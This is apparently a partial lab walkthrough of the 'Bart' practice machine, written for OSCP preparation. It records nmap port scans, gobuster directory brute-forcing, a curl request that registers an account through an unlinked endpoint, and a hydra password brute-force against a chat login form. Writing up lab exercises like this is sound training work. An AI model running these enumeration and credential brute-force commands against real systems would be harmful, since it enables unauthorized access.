Machine IP: 10.10.10.81 - Windows
Difficulty: Medium
Category: OSCP Preparation
▶ nmap -Pn -sS -p- 10.10.10.81 -T4 --min-rate 1000 -oN bart-ports.nmap
Nmap scan report for 10.10.10.81
Host is up (0.19s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
▶ nmap -sC -sV -p 80 10.10.10.81 -oN bart-services.nmap
Nmap scan report for 10.10.10.81
Host is up (0.20s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Did not follow redirect to http://forum.bart.htb/
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.48 seconds
- Harvey Potter
- Developer@BART
- h.potter@bart.htb
- Directory brute-force on
http://10.10.10.81
. Tactical brute-forcing since everything returns a 200 OK status code.
▶ gobuster dir --url http://10.10.10.81 --wordlist /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --status-codes 204,301,302,307 --status-codes-blacklist "" --threads 25
▶ gobuster dir --url http://internal-01.bart.htb --wordlist /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --status-codes 204,301,302,307 --status-codes-blacklist "" --threads 25
▶ gobuster dir --url http://internal-01.bart.htb/log --wordlist /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --status-codes 204,301,302,307 --status-codes-blacklist "" --extensions php --threads 25
▶ gobuster dir --url http://internal-01.bart.htb/simple_chat --wordlist /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --status-codes 204,301,302,307 --status-codes-blacklist "" --extensions php --threads 25
The source code for the chat server is on github: https://github.com/magkopian/php-ajax-simple-chat
.
Looking at the code, it looks like the version running here removed the register_form.php
page, and the link to it from the login_form.php
page.
- Using curl create an account and get access to the site.
▶ curl -X POST http://internal-01.bart.htb/simple_chat/register.php -d "uname=hardyboy&passwd=password"
- Logged in using the created username and password. (
hardyboy
:password
)
- Brute-force password for user
Harvey
.
hydra -l harvey -P /usr/share/wordlists/metasploit/common_roots.txt internal-01.bart.htb http-form-post "/simple_chat/login.php:uname=^USER^&^passwd=^PASS^&submit=Login:Password"